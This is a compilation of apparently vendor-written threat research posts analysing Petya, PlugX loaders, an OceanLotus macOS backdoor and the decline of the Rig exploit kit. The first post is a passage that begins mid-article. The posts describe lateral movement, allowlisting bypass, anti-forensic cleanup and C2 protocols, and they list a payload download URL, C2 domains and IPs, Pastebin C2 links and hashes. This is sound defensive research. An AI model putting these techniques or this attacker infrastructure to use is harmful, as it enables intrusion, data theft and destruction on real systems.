After the system is compromised the victim is asked to send US $300 in Bitcoin to a specific Bitcoin address and then send an e-mail with the victim’s bitcoin wallet ID to wowsmith123456@posteo[.]net to retrieve their individual decryption key.  Posteo (a free e-mail provider) has already shut down this e-mail address, and as such victims should not even attempt to pay the ransom. As of 13:00 UTC on June 28thth, approximately 4 Bitcoin have been transferred to the attacker's wallet.

Unit 42 is unaware of ANY successful recovery after paying the ransom. Additionally, ongoing research by the industry is showing that specific actions this malware takes makes it technically infeasible, if not impossible, for recovery to occur.

This means that even though this malware is functionally ransomware, for threat assessment purposes, it should be functionally considered a “wiper”.

Attack Lifecycle

We are aware of the following information about how the Petya attack lifecycle works.

Delivery/Exploitation

We have not yet confirmed the initial infection vector for this new Petya variant. Previous variants were spread through e-mail, but we have not identified this latest sample carried in any e-mail related attacks.

While we have not been able to directly confirm the source, we have seen evidence that a Ukrainian software application called MEDoc was used by attackers to deliver the Petya DLL. The software is heavily used in Ukraine it appears the company’s systems may have been compromised and used to issue a malicious update to systems running the program on the morning of Jun 27th. This infection vector helps explain the high concentration of infections in Ukraine.

Installation

This variant of Petya is spread as a DLL file, which must be executed by another process before it takes action on the system. Once executed, it overwrites the Master Boot Record and creates a scheduled task to reboot the system. Once the system reboots, the malware displays a fake “chkdisk” scan which tricks the victim into believing the program is repairing their hard drive. In reality, the malware is encrypting the NTFS Master File Table in the background. Once the fake chkdisk completes, the malware displays a ransom note which demands a payment of $300 in bitcoin.

Command and Control

Petya contains no Command and Control mechanisms that we know of. After a host is infected, there is no communication from the malware back to the attacker.

Lateral Movement

Petya uses three mechanisms to spread to additional hosts.

  • Petya scans the local /24 to discover enumerate ADMIN$ shares on other systems, then copies itself to those hosts and executes the malware using PSEXEC. This is only possible if the infected user has the rights to write files and execute them on system hosting the share.
  • Petya uses the Windows Management Instrumentation Command-line (WMIC) tool to connect to hosts on the local subnet and attempts to execute itself remotely on those hosts. It can use Mimikatz to extract credentials from the infected system and use them to execute itself on the targeted host.
  • Petya finally attempts to use the ETERNALBLUE exploit tool against hosts on the local subnet. This will only be successful if the targeted host does not have the MS17-010 patches deployed.

Conclusion

Ransomware attacks are very common, but they are rarely coupled with an exploit that allows the malware to spread as a network worm. The WannaCry attacks in May, 2017 demonstrated that many Windows systems had not been patched for this vulnerability. The spread of Petya using this vulnerability indicates that many organizations may still be vulnerable, despite the attention WannaCry received.

As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.

Version Summary

June 27, 2017:

  • Initial Publication

June 27, 2017 – 1:08 PM PT

  • Updated Delivery/Exploitation section to include speculation about delivery through a compromised Ukrainian Tax software package.
  • Updated Lateral Movement section to describe additional mechanisms used to spread Petya.

June 28, 2017 – 8:40 AM PT

  • Updated summary to note the expansion beyond Ukraine and Europe
  • Added more detail to malware encryption process.
  • Updated Infection mechanism to specify the MEDoc software update delivery vector.

June 29, 2017 - 5:00 PM PT

  • Added more detail around recovery and “wiper” characteristics.

Paranoid PlugX

The PlugX malware has a long and extensive history of being used in intrusions as part of targeted attacks. PlugX is still popular today and its longevity is remarkable. The malware itself is well documented, with multiple excellent papers covering most aspects of its functionality. Some of the best write-ups on the malware are cited below:

Given this wealth of information in the public domain, PlugX receives a lot of attention from security vendors who put efforts into providing detection mechanisms for it. Despite this, it remains a tool of choice for many attackers today, meaning that if attackers are to be successful in using the malware, they must innovate in the delivery and installation of the malware if they are to successfully infect their targets.

This article discusses a group of PlugX samples which we believe are all used by the same attacker(s), and the measures they have taken to attempt to bypass security mechanisms. The targets of these attacks appear to primarily be companies in the video games industry, although other targets may exist outside of our telemetry.

Specifically, we discovered a series of samples using interesting techniques with respect to:

  • Resolution of an initial C2 address
  • Combining PlugX with open source tools to initially load the malware
  • Avoiding detection on disk

Palo Alto Networks defends our customers against the samples discussed in this blog in the following ways:

  • Wildfire identifies all files mentioned in this article as Malicious.
  • Traps 4.0 can be configured to protect the processes that are cited as being abused in this blog from loading malicious code.

Palo Alto Networks' AutoFocus customers can track samples related to this blog via the tag:

Related IOCs are provided in Appendix A of this blog.

An RTF, an MSI file, a .NET Wrapper and two stages of Shellcode walk into a bar...

Our journey begins with an RTF file named "New Salary Structure 2017.doc”, which exploits CVE-2017-0199.  The mechanics of this exploit are already well covered, and as such do not require further discussion here. The document reaches out to download its initial payload from the following URL:

hxxp://172.104.65[.]97/Office.rtf

This is a downloader script which attempts to download and execute two payloads, the code is shown below:

The first payload is a Windows Installer (MSI) file, and dynamic analysis of this file piqued out interest.   We could see the malware was PlugX from its actions, yet the C2 address was a pastebin.com URL. Looking at the Pastebin post we expected to immediately identify a block of text which would later decode to a C2 address, but glancing at the returned content we were unable to immediately identify the C2.

The second file is a PowerShell script which appears to be based on a Rapid7 Ruby Exploitation script that loads arbitrary shellcode. In this case, the shellcode is a copy of PlugX and is the same shellcode contained in the MSI file that we will dissect below.

.NET Wrapper

The main payload is delivered in a Microsoft .NET Framework file within previously mentioned MSI file. When executed, the .NET Framework wrapper will first check if VMware tools is running in background, this is done via a simple process check, searching for any process named “vmtoolsd.” Provided there are no matching processes running, the malware continues execution, creating a registry entry with the name ‘MSASCuiLTasks’ in HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce for persistence. This registry key causes the malware to run again each time the system reboots. Next, it will copy the first stage shellcode in memory and create a new thread with the shellcode running in it, the code responsible for this execution is shown in Figure 1. The shellcode is not encrypted but is obfuscated.

paranoid_1

Figure 1 - The main code from the .NET wrapper, with the Shellcode array being created and executed in a new thread.

The first shellcode decrypts a further shellcode block. This second shellcode block in turn, will unpack the main PlugX DLL in memory using RtlDecompressBuffer. As is typical for PlugX, the header of the final DLL is missing its magic DOS and NT image headers, which are replaced with XV instead of MZ and PE as shown in Figure 2.

paranoid_2

Figure 2 – The decoded DLL payload using the wrong header, XV instead of MZ/PE.

Finally, the second shellcode block will resolve the imports and relocations and jump to the entry point of the DLL.

Encrypted Configuration in shellcode

The configuration information for the malware, including the C2 information are encrypted in the first shellcode blob and are passed as an argument to the DllMain function of the main PlugX DLL. This DLL itself also contains a default configuration to connect to the localhost on port 12345. This means  if you extract the DLL manually and execute it then it will connect to localhost:12345 rather than the real C2 server, which was passed as an initial argument to the DLL by the first shellcode.

Decrypting the Configuration

As previously mentioned, the real configuration data is stored in the first stage shellcode but it is not stored in cleartext, but encrypted and compressed. The configuration data is encrypted with the same algorithm described previously by JPCert but using a different XOR value. The versions discussed in the JPCert blog post used 20140918, 353 while the versions we examined use XOR values of 20141118, 8389. The same decryption routine is also used for any other string obfuscation or file encryption as required by this sample of PlugX. After decrypting the strings, they must be further decompressed using LZNT1. For that we can use a Python script, included in Appendix B – Python Scripts.

After decrypting and decompressing the strings, we can trivially identify aspects of the PlugX configuration. For example, we can see it will inject itself to one these three processes:

  • %ProgramFiles(x86)%\Sophos\AutoUpdate\ALUpdate.exe
  • %ProgramFiles(x86)%\Common Files\Java\Java Update\jusched.exe
  • %ProgramFiles(x86)%\Common Files\Adobe\ARM\1.0\armsvc.exe

The attempt to inject itself into a process belonging to antivirus product suite is particularly bold.

In addition to this, the malware queries four PasteBin links to extract the C2 addresses from these links:

  • https://pastebin[.]com/eSsjmhBG
  • https://pastebin[.]com/PSxQd6qw
  • https://pastebin[.]com/CzjM9qwi
  • https://pastebin[.]com/xHDSxxMD

A full list of the extracted strings from the configuration is given in Appendix D – Extracted PlugX Strings.

Extracting C2

PlugX has a feature to extract encrypted C2 configurations from a given URL. In this case, the attackers were creative in hiding the string in a seemingly legitimate block of text. An example of the content retrieved from Pastebin is given below:

At first glanced we missed it, but the paste uses the same technique discussed in this Airbus post. It parses the "RSA key" looking for magic values "DZKS" and "DZJS". It then reads and decrypts the content between these values to yield an IP address as shown below:

A Python script to decode strings encrypted with this technique is given in Appendix B – Python Scripts.

An overview of the whole execution flow for this sample is given in Figure 3.

paranoid_3

Figure 3 - An overview of the execution flow for this sample.

In all, the attackers have chained together many disparate pieces of code both custom and open source, all in order to load PlugX. Given the number of components, this would have taken a reasonable amount of time and indicates their dedication to evading detection whilst continuing to use the same malware.

Pivoting to other PlugX samples

Based on our findings above, we identified other examples of interesting PlugX samples. These other examples were identified based on similar samples that were sent to the targeted organizations, infrastructure used by the attackers, as well as unique delivery mechanisms for samples.

Paranoid PlugX

One related series of PlugX samples we examined appeared to be particularly “paranoid” about being detected on disk and so taking specific anti-forensics steps to defeat being detected on the disk. One example of these samples is given below:

SHA256:6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb

The file is a self-extracting RAR, which is a common delivery mechanism for PlugX particularly when the eventual payload will be sideloaded by a legitimate executable. In that respect this case is no different, as the eventual payload executed by a legitimate signed Microsoft binary which loads the DLL “BlackBox.dll”. However, in order to kick off the execution of the malware the attacker uses a batch script which executes the malware, but the batch script does more than simply initiate execution of the malware. After running the malware, the batch script goes on to cleans up all signs of its existence on the system, this includes:

  • Deletion of all initial files created during installation, as well as all associated files required on disk during initial execution.
  • Deletion of all registry keys associated with the extraction of the SFX RAR
  • Deletion of the User Assist Key entries related to applications that have been recently executed
  • Deletion of all registry keys relating to services that have recently run

Clearly the attacker using this PlugX is paranoid about it being detected on disk, both in the registry and the file system. To top this off the script runs most of the deletion commands more than once.

The result is that there should be no evidence that the malware was ever executed on the disk, making it harder for forensics teams to identify how the malware got there, and meaning that memory or network based detection would be required to identify the intrusion. The full contents of the batch script are given in Appendix C – a.bat.

The power of open source & PlugX

In the first half of 2017, we saw attackers begin to improve upon this “Paranoid” version of PlugX – it wasn’t enough to be in memory-only after getting infecting the system, the attackers also wanted to bypass application allowlisting techniques in use by network defenders. To this end, they began incorporating open source techniques, in particular those that have been assembled in a list authored by the GitHub user SubTee. For example, the following sample loads the malware as shellcode within a .NET Framework project using msbuild.exe, effectively bypassing application allowlisting techniques:

SHA256: 822b313315138a69fc3e3f270f427c02c4215088c214dfaf8ecb460a5418c5f3

This sample approximately follows the GIST published here, but has additional code which appears to be custom to our attacker which acts as a helper to load the shellcode. The shellcode is, as in our first example, another PlugX payload.

In another case the attackers use another code snippet borrowed from the SubTee GitHub project, this time filling in a fully templated .NET application allowlist bypass file:

SHA256: 3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2:

This time the attacker didn't have to write any of their own code, instead they were simply able to paste their shellcode directly into a template, in order to launch PlugX as a child process of a trusted application.

Conclusions & Mitigations

While PlugX has been well understood by the security community for years, attackers continue to use the malware. Some possible reasons for this continued use include:

  • The operators of the malware are familiar and comfortable with the existing malware, meaning they are reluctant to change.
  • Though competent at packaging PlugX in different ways, the attackers would struggle to write a fully featured malware like PlugX.
  • The effort required to rebuild a malware as complex as PlugX is not worth the effort when they can bypass defenses without doing so.

In all likelihood, a combination of these three factors is behind the continued prevalence of the malware. Many PlugX attackers continue to use relatively mundane techniques to load the malware, making it easy for defenders to identify and prevent execution of the malware, but others continue to apply new and interesting techniques to evade detection.

In particular, this set of attackers have made good use of open source tools to package the malware, and show some skill in writing their own wrapper applications to execute payloads. Many in the security industry would be quick to recommend application whitelisting as one of the most effective way to reduce the success rate of attacks, however by applying publicly available techniques it is possible to bypass these controls.

For organizations relying on Application Whitelisting, SubTee’s blog makes a series of recommendations which help prevent these bypass techniques. In addition to these mitigations, the Traps 4.0 can be configured to protect the .NET processes which can be abused in this manner.

 

Appendix A - Related IoCs

Directly related:

45.248.84[.]7
172.104.65[.]97

SHA256 Comments
5909c1dcfb3270b2b057513561b2ab1613687a0af0072c51244ff005b113888b PlugX
6804be0689bbfbb180bb384ebc316f50cb87e65553d0c3597d6e9b6b6dd8dd3f PlugX
8ea275eee557037ab6626d15c0107bdcf20b45a8307a0dc3baa85d49acc94331 PlugX
e6020eb997715c4f627b6e6a16947861bce310aa31fcf58448a5beba11626d36 PlugX
4554aa6c2fdd58dfddebdb786c5d23cd6277025ab0355ffb5d8967c3976e8659 PlugX
3817388a983d5ee1604a8eec621b5eb251cb8bdeab9c8591fe5e8c90cd99ed49 CVE-2017-0199
45513f942b217def56a1eac82a4b5edca65ebdd5e36c7a8751bf0350d5ebea39 CVE-2017-0199
64d7d4846c5dd00a7271fe8a83aebe4317d06abad84d44ffd6f42b1004704bd5 PlugX
07d94726a1ae764fa5322531f29fe80f0246dd40b4d052c98f269987a3ee4515 PowerShell PlugX
4622f8357846f7a0bea3ce453bb068b443e21359203dfa2f74301c7a79a408c2 Downloader for PS PlugX ++ MSI PlugX
49baf12f50fec772fdfe56c49005efb306b72a312a7dbdad98066029a191bfaf CVE-2017-0199

 

https://pastebin[.]com/eSsjmhBG
https://pastebin[.]com/PSxQd6qw
https://pastebin[.]com/CzjM9qwi
https://pastebin[.]com/xHDSxxMD

Inferred relation via similar targeting

SHA256 Family
6e5864faf4312bf3787e79e432c1acacf2a699ecb5b797cac56e62ed0a8e965c Idicaf
6b455714664a65e2a4af61b11d141467f4554e215e3ebd02e8f3876d8aa31954 Idicaf
df58962a3a065f1587f543a501d0e3f0ca05ebac51fc35d4bb4669d8eac9d8c1 Idicaf
52fee36c647ca799e21cd75db1f425ccf632b28c27e67b8578ff6dd30ca62af7 Idicaf
90e45c7b3798433199d6d917a4847a409dbdc101b210d9798f8c78ee43abf6d8 Idicaf
5ff788efd079eb2987b03d98e0c8211ac97ae6479274bade36a170b5a396f72b Idicaf
535abe8cd436d6b635c5687db0ae8d47c7c3679e4f5e2b4d629276b41fca0578 Idicaf
ef85896426a0a558ab17346a67f108045d142a2d2a21f7702bfb8be50542726d Idicaf
d41e2bbc8ea10dd7543d5f4cb02983e2b1ad5d47cc3ce5fa95189501c019fdac Idicaf
208bd18054134909e2ad680c0096477c48a58e8754a9439002e6523f71e66d47 PlugX
3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2 PlugX
5deab61f83e9afe13a79930eda1bdcb6c867042a1ce0e5c44e4209a60ab3327d PlugX
6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb PlugX
8e07c7636be935e0a6184db8a85fd8b607e6c48bb07d34d0138432f7c697bc99 PlugX

 

Domains:

kbklxpb.imshop.in
serupdate.wicp.net
msfcnsoft.com
micros0ff.com
msfcnsoft.com
microsoff.net
msffncsi.com
A781195.gicp.net
upgradsource.com
B781195.vicp.net
kbklxp.eicp.net

 

Appendix B – Python Scripts

LZNT1 decrypt script, only works with Windows.

Decoding the PlugX configuration:

Decoding the C2 addresses from Pastebin:

 

Appendix C – a.bat

 

Appendix D – PlugX Extracted strings

The New and Improved macOS Backdoor from OceanLotus

Introduction

Recently, we discovered a new version of the OceanLotus backdoor in our WildFire cloud analysis platform which may be one of the more advanced backdoors we have seen on macOS to date. This iteration is targeted towards victims in Vietnam and still maintains extremely low AV detection almost a year after it was first discovered. Despite having been in the wild for an extended period of time, the operation appears to still be active. During our analysis, we were able communicate directly with the command and control server as recently as early June 2017.

While there seem to be similarities to an OceanLotus sample discovered in May 2015, a variety of improvements have been made since then. Some of the improvements include the use of a decoy document, elimination of the use of command line utilities, a robust string encoding mechanism, custom binary protocol traffic with encryption, and a modularized backdoor.

 

Infection Vector

The new OceanLotus backdoor is distributed in a zip file. While we don’t have direct evidence for the initial infection vector we presume it’s most likely via an email attachment. Once the user has extracted the zip file, they see a directory containing a file with a Microsoft Word document icon. The file is actually an application bundle, which contains executable code. (see Figure 1).  Once the user double clicks on the purported Word document, the Trojan executes and then launches Word to display a decoy document.

The malware uses the decoy document to help mask the execution of the malware. This technique is a common one for Windows-based malware, but rare on macOS. In order to achieve this layer of obfuscation, the malware author had to trick the operating system into believing the folder is an application bundle despite the .docx extension. Traditionally, macOS malware have emulated legitimate application installers such as Adobe Flash, which was how the previous version of OceanLotus was packaged.

oceanlotus1

Figure 1. Context menu and file listing

 

Once the application bundle is launched, it opens a hidden file in the bundle’s Resources folder named .CFUserEncoding which is a password-protected Word document (see Figure 2). It also copies this file to the executable path and essentially replaces the application bundle after persistence has been set up. This would lead the victim to believe that nothing was amiss, as they thought they were opening a Word document and a Word document opened. In this case, the Word file has the name “Noi dung chi tiet.docx”, which is Vietnamese for “Details.”

oceanlotus2

Figure 2. Decoy document prompts for a password to open the file

Persistence

Compared to the previous version of this backdoor, the persistence mechanism for this remained largely the same. This version creates a Launch Agent  that runs when the victim host starts up, where as in the previous version execution was upon when a user logs in. It also copies itself to a different location and filename based on the UID of the user who ran the application.

For a user other than root, it takes the MD5 hash of the structure returned by getpwuid() and breaks the hash down into segments <first 8 chars of hash>-<next 16 chars of hash>-<last 8 chars of hash>. This segmented MD5 hash is prepended with “0000-“ then used as a directory in ~/Library/OpenSSL/ to store the executable file (see Figure 3). If the user is root, the executable is stored in the system wide library directory at /Library/TimeMachine/bin/mtmfs.

It is interesting to note that the executable and plist locations look like legitimate applications.

UID plist Location Executable Location
0 /Library/LaunchDaemons/com.apple.mtmfsd.plist /Library/TimeMachine/bin/mtmfs
> 0 ~/Library/LaunchAgents/com.apple.openssl.plist ~/Library/OpenSSL/0000-<segmented MD5 hash>/servicessl

Figure 3. plist and executable names and locations based on UID

 

Once the malware has set up persistence, it deletes the application bundle from the executable path leaving the decoy document in its place and launches itself as a service from the new location.

No Command Line Utilities

One of the first things we noticed about this backdoor is the lack of suspicious strings which often times provides context as to what the malware might do on a victim host. In most macOS malware, calls to the system() or exec() functions  to run additional scripts are in place. In this case, these were not present nor were there command line utility strings that may easily convey the malicious intention of the application. This shows a deep level of understanding of the macOS platform by the author of this backdoor compared to other threat actors that will commonly copy and paste scripts from the Internet.

The lack of these strings may also double as an anti-analysis technique to make the malware seem less suspicious, especially to basic static analysis.

String Decoding

Since there appear to be no obvious suspicious strings in plaintext, we move onto the possibility of use of encoded, or obfuscated strings.

The string decode routine for this backdoor is an upgrade from previous versions in which strings were XOR encoded with the word “Variable” as a key. The string decode routine now consists of a combination of bit shifting and XOR operations with a variable key that depends on the length of the string that was encoded. If the computation for the variable XOR key turns out to be 0, the default XOR key of 0x1B is used. Figure 4 shows a Python implementation of the decode function.

oceanlotus4

Figure 4.  Python implementation of the malware’s string decode function

 

After decoding the strings (see Figure 5), we can glean that the malware sets up persistence, surveys the victim’s computer, and sends this information back to a server. At this point, it is still not obvious that this malware contains backdoor functionality.

oceanlotus5

Figure 5. List of decoded strings

Custom Binary Protocol and Encrypted Traffic

The threat actors responsible for this malware appear to have spent some amount of effort to develop their own custom communication protocol. They did not simply use an off-the-shelf web server for their command and control server, as is commonly done. Instead, they created their own command and control mechanism.

The backdoor uses a custom binary protocol on TCP port 443, a well-known port that is unlikely to be blocked by traditional firewalls due to its use in HTTPS connections. The packet seen in Figure 6 is encoded with a combination of bit shifting (see Figure 7) and XOR with a key of 0x1B before it is sent. The bits are always rotated to the left 3 times before doing the XOR operation. This is an improvement from the previous version where the packet was only XOR encoded with a key of 0x1B.

oceanlotus6

Figure 6. Initial packet sent by the client to the server

 

oceanlotus7

Figure 7. Bit shifting function used in the encode/decode routine for network packets

 

After decoding the packet, we can see a breakdown of different fields. Figure 8 shows the initial packet sent by the client to the server. It is relatively empty aside from the “magic” bytes, length of data and type of communication.

oceanlotus8

Figure 8. Initial packet sent by the client to the server (decoded)

 

Depending on the command response sent from the server, a packet may be bigger than 0x52 bytes. Data beyond 0x52 bytes is zlib compressed then encrypted with AES in CBC mode with a null initialization vector (IV) and a key sent from the server that is padded to 32 bytes.

We captured live traffic from the server, and observed that the encryption keys sent from the server are ephemeral. This means that each new session with the server is given a different key used to encrypt data sent back and forth within that session. This is a marked improvement compared to the previous version, where only XOR encoding with a one-byte key was used for encryption.

After decoding the packet it receives from the server, the backdoor validates certain fields like the “magic” bytes and makes sure the length of the data being received is not over a certain amount. Throughout the program execution, it also checks and handles any errors that may have been generated.

Command and Control Communications

The command and control server communication sequence is as follows:

  1. The client initiates a session with the server by sending a packet with 0x2170272 in the command field.
  2. The server then responds with an ephemeral encryption key and a command.
  3. The client checks if the received packet from the server is valid.
  4. The client executes the command sent by the server and responds with a zlib compressed and AES encrypted blob of the result then sends this back to the server.

Unlike the previous versions of OceanLotus where the commands can be easily gathered from its strings, the author has obfuscated the functions with constant values. We decoded the following available commands as seen in Figure 9.

Command Command Description
0x2170272 Initialize
0x5CCA727 ???
0x2E25992 receive file from server
0x2CD9070 get info on a file / directory
0x12B3629 delete file / directory
0x138E3E6 ???
0x25D5082 execute function from a dynamic library
0x25360EA send file to server
0x17B1CC4 ???
0x18320E0 send victim and computer information together with the backdoor’s watermark
0x1B25503 execute a function from a dynamic library
0x1532E65 execute a function from a dynamic library

Figure 9. List of commands available

Command 0x2170272

When the backdoor is launched, a file is created in /Library/Preferences/.files or ~/Library/Preferences/.files depending on the victim’s user ID. This file (see Figure 10) contains a timestamp and the victim’s name concatenated with the machine’s serial number which is then hashed twice with MD5. This is then copied to a buffer that is 0x110 bytes long and AES encrypted in CBC mode with a null IV and a key of “pth”. It is then saved into the file.


Timestamp + MD5(MD5(<victim’s name + machine serial number>))


After this file is created, the client sends its first packet to the server with 0x2170272 in the command field. The server acknowledges and responds with the same command and the client verifies that the file has been created.

 

\xa7\xf1\xd9*\x82\xc8\xd8\xfe4137674062B3226FE630C24F7DE1021E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

 

Figure 10. Decrypted contents of ~/Library/Preferences/.files

 

Command 0x18320E0

The server then sends this command with an ephemeral key shortly after it sends the 0x2170272 command. The client gathers all the data seen in Figure 11, encrypts it with the key provided by the server and sends it back. One thing to note is the Base64 string that is sent in this packet. This string is static in the binary and does not change, which may be indicative of a marker for campaign or version identification.

 

\x00\x00\x004137674062B3226FE630C24F7DE1021E\xe9\x0f\x00\x00\x00Mac OS X 10.X.X\xb6\x03\x00\x00

\x00username\t\x00\x00\x00localhost\x18\x00\x00\x00Ze0pXcpfbqbS4wD0eS/LVQ==\xb6\xbc\x1cY\x00\x00\x00\x00M\x00\x00\x00/Users/username/Library/OpenSSL/0000-ABCDEF01-23456789ABCDEF01-23456789/

servicessl\x8b\xbc\x1cY\x00\x00\x00\x00\x17\x00\x00\x00en0 : AA:BB:CC:DD:EE:FF[\x00\x00\x00lo0 : fe80::1\nlo0 : 127.0.0.1\nlo0 : ::1\nen0 : fe80::aaaa:bbbb:cccc:111\nen0 : 192.168.1.254

\x05\x01\x00\x00f\x00\x00\x00Model ID:iMac8,1\nCPU:Intel(R) Core(TM)2 Duo CPU     T7700  @ 2.40GHz\nMemory:4.00\nSerial No:XXXXXXXXXXX\x00\x00\x00\x00

 

Figure 11. Decrypted contents of a packet sent by the client to the server

 

Not highlighted in Figure 11 but also included in this packet is the kernel boot time which may be used by the C2 server to help determine if the backdoor is being run in a sandbox environment.

 

Commands 0x25D5082, 0x1B25503, 0x1532E65

These commands load a dynamic library using dlopen() and obtains a function pointer to execute within that shared library using dlsym(). Unfortunately, we do not know which dynamic libraries or functions are used for each command since these are server supplied and we were not able to capture any communication that used these commands.

However, we can postulate that since the parameters to the functions have the same number of arguments with the first being a fairly large constant similar to the command constants, (see Figure 12) and the backdoor has a function for receiving files, it is possible that these functions correspond to a shared library that the server uploads to the victim host. This means that additional functionality can be added to this backdoor by loading modules directly from the C2 server.

oceanlotus12

Figure 12. Snippets showing loaded function pointers and their parameters

 

Conclusion

Most macOS malware in the wild today are not very complex, but threat actors have been quickly improving their tradecraft. The increased level of sophistication and complexity may be indicative of increased targeting of macOS hosts looking to the future. With this OceanLotus attack in combination with recent macOS versions of the Sofacy group’s toolset, we have now observed multiple espionage motivated threat actors targeting macOS. It is imperative that the same types of strong security practices and policies organizations use to defend Windows devices are applied universally to include macOS devices as well.

Apple has already updated the macOS protection systems to address this variant of OceanLotus.

Palo Alto Networks customers are protected and may learn more via the following:

  • Samples are classified as malicious by WildFire
  • Domains and IPs have been classified as malicious and IPS signatures generated
  • AutoFocus users may learn more via the OceanLotus tag

Indicators of Compromise

Hashes

b33370167853330704945684c50ce0af6eb27838e1e3f88ea457d2c88a223d8b  Noi dung chi tiet.zip

b3cf3e3b52b4b899cd0814fc75698ea24f08ce18642665adcd3555a068b5c16d  Info.plist

07154b7a45937f2f5a2cda5b701504b179d0304fc653edb2d0672f54796c35f7  Noi dung chi tiet

82502191c9484b04d685374f9879a0066069c49b8acae7a04b01d38d07e8eca0  PkgInfo

f0c1b360c0b24b5450a79138650e6ee254afae6ce8f6c68da7d1f32f91582680  .CFUserEncoding

e84b5c5152d8edf1e814cc4b4975bfe4dc0063ef90294cc96b383f523042f783  info.icns

 

C2 Server

call[.]raidstore[.]org

technology[.]macosevents[.]com

press[.]infomapress[.]com

24h[.]centralstatus[.]net

93.115.38.178

 

Dropped Files

UID == 0 UID > 0
/Library/LaunchDaemons/com.apple.mtmfsd.plist ~/Library/LaunchAgents/com.apple.openssl.plist
/Library/TimeMachine/bin/mtmfs ~/Library/OpenSSL/0000-<segmented MD5 hash>/servicessl
/Library/Preferences/.files ~/Library/Preferences/.files

 

Decline in Rig Exploit Kit

Starting in April 2017, we saw a significant decrease in Rig exploit kit (EK) activity after two major campaigns, EITest and pseudo-Darkleech, stopped using EKs. Figure 1 shows the hits for the Rig EK from December 2016 through May 2017, highlighting this trend.

This blog reviews recent developments in the EITest and pseudo-Darkleech campaigns that have contributed to the current drop in Rig EK. We also explore other causes for the overall decline of EK activity as others have noted in recent reports. Finally, due to the anemic nature of today's EK scene, we review some methods criminals are focusing on for malware distribution.

decline-in-rig_1

Figure 1: Hits for Rig EK from December 2016 through May 2017.

Two Major Campaigns Stop Using Rig EK

At the very end of March 2017, researchers stopped seeing indicators of the pseudo-Darkleech campaign. Pseudo-Darkleech was a long-running campaign that switched to Rig EK in September 2016. Since September 2016, pseudo-Darkleech accounted for a significant amount of Rig EK seen on a daily basis. When pseudo-Darkleech disappeared, Rig EK activity dropped approximately 50 percent from previous months.

Three to four weeks later, another long-running campaign cut back on its use of Rig EK. Near the end of April 2017, the EITest campaign began pushing tech support scams. Previously, EITest had also generated a great deal of Rig EK traffic, but as the criminals behind this activity began focusing on other techniques, Rig EK levels dropped another 50 percent in May 2017. As we enter June, EITest is primarily pushing tech support scams, and it does not appear to be utilizing EKs at this time.

Figure 2 shows the hits for Rig EK from March 1, 2017 through May 31, 2017 in more detail. Note on the chart when pseudo-Darkleech disappears and EITest shifts focus and their impact on Rig EK traffic.

Although researchers still find Rig from other campaigns like RoughTed or Seamless, recent levels are their lowest since we began tracking this EK.

decline-in-rig_2

Figure 2: Rig EK hits from March 1st through May 31st, 2017.

Not the Threat They Once Were

Rig is not the only EK suffering in today's threat landscape. All EKs have been affected. So why aren’t EKs as active as they once were?

One contributing factor is that the target surface for EKs is getting smaller.

EKs typically use browser-based exploits targeting Microsoft Windows systems. They are primarily focused on Internet Explorer, Microsoft Edge, and Adobe Flash Player. EKs are largely ineffective against more popular browsers like Chrome, a product that has gone through four major version updates this year alone.

Users (potential victims) are moving to other browsers, and this has greatly reduced the number of possible targets for current EKs. As shown below in Figure 3, as of May 2017, only 19 percent of the desktop browser market was taken by Microsoft Edge and Internet Explorer 11 combined.

decline-in-rig_3

Figure 3: Desktop browser market share in May 2017 from NetMarketShare.com.

With a declining target base, EKs are not aging gracefully. In previous years, we saw a variety of EKs used by various campaigns. But by the end of 2015, notable EKs like Sweet Orange and Fiesta had disappeared. As 2016 progressed, other prominent EKs like Nuclear and Angler also shut down. The graveyard of expired EKs has several dozen names by now.

This lack of diversity has impacted EK development. According to Proofpoint, more than a year has passed since any major EK has featured a zero-day exploit, making EKs far less effective compared to previous years.

Furthermore, the security community has been much more active against EKs. Recent efforts by Cisco Talos in 2016 and RSA Research in 2017 have seen researchers coordinating with hosting providers to take down servers used in domain shadowing schemes favored by EKs. The resulting setbacks have not been permanent, but they have significantly impacted operations for criminals using EKs.

Ultimately, a declining browser target base, lack of new exploits, and recent efforts by the community to fight domain shadowing have all contributed to an overall decline in EK activity.

What Are Criminals Turning To?

As EKs become more ineffective, criminals are focusing on other methods like malicious spam attacks, or social engineering schemes like HoeflerText notifications  like shown in Figure 4. Whether through spam or a browser popup, criminals trick potential victims into double-clicking a file that infects their computers.

decline-in-rig_4

Figure 4: A fake HoeflerText notification in Google Chrome that leads to malware.

In some cases, URLs will redirect to an EK one day and then on following days will often redirect to a fake installer for something like Adobe Flash Player like shown in Figure 5. These social engineering schemes are becoming more common, and researchers often run across them as they search for EKs.

decline-in-rig_5

Figure 5: Fake Flash installer distributing the same malware Rig EK did the day prior.

